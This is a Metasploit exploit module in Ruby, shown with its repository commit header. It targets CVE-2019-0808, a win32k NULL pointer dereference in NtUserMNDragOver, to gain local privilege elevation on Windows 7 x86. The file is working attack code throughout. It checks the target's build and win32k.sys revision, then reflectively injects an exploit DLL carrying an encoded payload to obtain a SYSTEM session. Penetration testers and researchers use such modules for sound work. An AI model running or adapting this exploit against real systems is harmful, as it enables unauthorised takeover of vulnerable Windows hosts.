Ashley Donaldson
75ba9110e2
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
107 lines
3.7 KiB
Ruby
107 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::FileInfo
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Windows NtUserMNDragOver Local Privilege Elevation',
|
|
'Description' => %q{
|
|
This module exploits a NULL pointer dereference vulnerability in
|
|
MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system call.
|
|
|
|
The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint()
|
|
function does not effectively check the validity of the tagPOPUPMENU
|
|
objects it processes before passing them on to MNGetpItemFromIndex(),
|
|
where the NULL pointer dereference will occur.
|
|
|
|
This module has been tested against Windows 7 x86 SP0 and SP1. Offsets
|
|
within the solution may need to be adjusted to work with other versions
|
|
of Windows, such as Windows Server 2008.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Clément Lecigne', # discovery
|
|
'Grant Willcox', # exploit
|
|
'timwr' # msf module
|
|
],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Targets' => [
|
|
['Windows 7 x86', { 'Arch' => ARCH_X86 }]
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_OS_RESTARTS],
|
|
'SideEffects' => [SCREEN_EFFECTS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
},
|
|
'References' => [
|
|
['CVE', '2019-0808'],
|
|
['URL', 'https://github.com/exodusintel/CVE-2019-0808'],
|
|
['URL', 'https://github.com/ze0r/cve-2019-0808-poc'],
|
|
['URL', 'http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html'],
|
|
['URL', 'https://blog.exodusintel.com/2019/05/17/windows-within-windows/'],
|
|
],
|
|
'DisclosureDate' => '2019-03-12',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
if session.platform != 'windows'
|
|
# Non-Windows systems are definitely not affected.
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
version = get_version_info
|
|
|
|
vprint_status("OS version: #{version}")
|
|
# see https://docs.microsoft.com/en-us/windows/release-information/
|
|
unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
|
|
print_error('The exploit only supports Windows 7 versions 7600 and 7601')
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
path = expand_path('%WINDIR%\\system32\\win32k.sys')
|
|
_major, _minor, _build, revision, _brand = file_version(path)
|
|
return CheckCode::Safe if revision >= 24387
|
|
|
|
CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
if is_system?
|
|
fail_with(Failure::None, 'Session is already elevated')
|
|
end
|
|
|
|
if sysinfo['Architecture'] != ARCH_X86
|
|
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
|
end
|
|
|
|
# invoke the exploit, passing in the address of the payload that
|
|
# we want invoked on successful exploitation.
|
|
print_status('Reflectively injecting the exploit DLL and running the exploit...')
|
|
encoded_payload = payload.encoded
|
|
execute_dll(
|
|
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0808', 'exploit.dll'),
|
|
[encoded_payload.length].pack('I<') + encoded_payload
|
|
)
|
|
|
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
|
end
|
|
end
|